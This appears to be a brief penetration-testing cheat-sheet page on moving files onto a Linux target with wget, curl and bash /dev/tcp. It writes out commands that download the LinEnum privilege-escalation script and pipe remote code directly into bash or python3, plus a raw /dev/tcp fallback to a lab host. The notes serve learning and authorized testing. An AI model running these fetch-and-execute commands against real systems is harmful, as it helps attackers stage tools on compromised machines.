Download

Web curl/wget

Notes and commands for Web curl/wget.

2024-03-27
Tags file-transferlinux-file-transferdownloadweb-curl-wget

download it using wget

  • wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
1
using pipes to directly execute and not save a file. wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3
1
downloading it using curl (same as wget but "-o" lowercase instead of "-O" with wget
  • curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

using pipes to directly execute it and not save it locally b4

  • curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash

If for securtiy reasons bot are disabled you can still use bash

  • Connect to the target webserver

  • exec 3<>/dev/tcp/10.10.10.32/80

  • HTTP get request:

  • echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3

  • Print response:

  • cat <&3